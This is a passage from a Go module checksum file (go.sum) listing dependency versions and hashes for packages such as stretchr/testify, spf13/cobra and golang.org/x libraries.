github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
github.com/morikuni/aec v1.0.0 h1:nP9CBfwrvYnBRgY6qfDQkygYDmYwOilePFkwzv4dU8A=
github.com/morikuni/aec v1.0.0/go.mod h1:BbKIizmSmc5MMPqRYbxO4ZU0S0+P200+tUnFx7PXmsc=
github.com/munnerz/goautoneg v0.0.0-20120707110453-a547fc61f48d/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/mxk/go-flowrate v0.0.0-20140419014527-cca7078d478f/go.mod h1:ZdcZmHo+o7JKHSa8/e818NopupXU1YMK5fe1lsApnBw=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
github.com/onsi/ginkgo v1.14.0/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY=
github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
github.com/opencontainers/go-digest v1.0.0 h1:apOUWs51W5PlhuyGyz9FCeeBIOUDA/6nW8Oi/yOhh5U=
github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM=
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799 h1:rc3tiVYb5z54aKaDfakKn0dDjIyPpTtszkjuMzyt7ec=
github.com/opencontainers/image-spec v1.0.3-0.20211202183452-c5a74bcca799/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0=
github.com/peterbourgon/diskv v2.0.1+incompatible/go.mod h1:uqqh8zWWbv1HBMNONnaR/tNboyR3/BZd58JJSHlUSCU=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/sergi/go-diff v1.3.1 h1:xkr+Oxo4BOQKmkn/B9eMK0g5Kg/983T9DqqPHwYqD+8=
github.com/sergi/go-diff v1.3.1/go.mod h1:aMJSSKb2lpPvRNec0+w3fl7LP9IOFzdc9Pa4NFbPK1I=
github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0=
github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk=
github.com/spf13/cobra v1.5.0 h1:X+jTBEBqF0bHN+9cSMgmfuvv2VHJ9ezmFNf9Y/XstYU=
github.com/spf13/cobra v1.5.0/go.mod h1:dWXEIy2H428czQCjInthrTRUg7yKbok+2Qi/yBIJoUM=
github.com/spf13/pflag v0.0.0-20170130214245-9ff6c6923cff/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/stoewer/go-strcase v1.2.0/go.mod h1:IBiWB2sKIp3wVVQ3Y035++gc+knqhUQag1KpM8ahLw8=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk=
github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo=
github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tklauser/go-sysconf v0.3.11 h1:89WgdJhk5SNwJfu+GKyYveZ4IaJ7xAkecBo+KdJV0CM=
github.com/tklauser/go-sysconf v0.3.11/go.mod h1:GqXfhXY3kiPa0nAXPDIQIWzJbMCB7AmcWpGR8lSZfqI=
github.com/tklauser/numcpus v0.6.0 h1:kebhY2Qt+3U6RNK7UqpYNA+tJ23IBEGKkB7JQBfDYms=
github.com/tklauser/numcpus v0.6.0/go.mod h1:FEZLMke0lhOUG6w2JadTzp0a+Nl8PF/GFkQ5UVIcaL4=
github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20201002170205-7f63de1d35b0/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=
golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=
golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=
golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=
golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2 h1:Gz96sIWK3OalVv/I/qNygP42zyoKp3xptRVCWRFEBvo=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8 h1:RerP+noqYHUQ8CMRcPlC2nvTa4dcBIjegkuWdcUDuqg=
golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab h1:2QkjZIsXupsJbJIdSjjUOgWK3aEtzyuh2mPt3l/CkeU=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20210723032227-1f47c861a9ac/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9 h1:ftMN5LMiBFjbzleLqtoBZk7KdJwhuybIU+FckUHgoyQ=
golang.org/x/time v0.0.0-20220722155302-e5dcc9cfc0b9/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
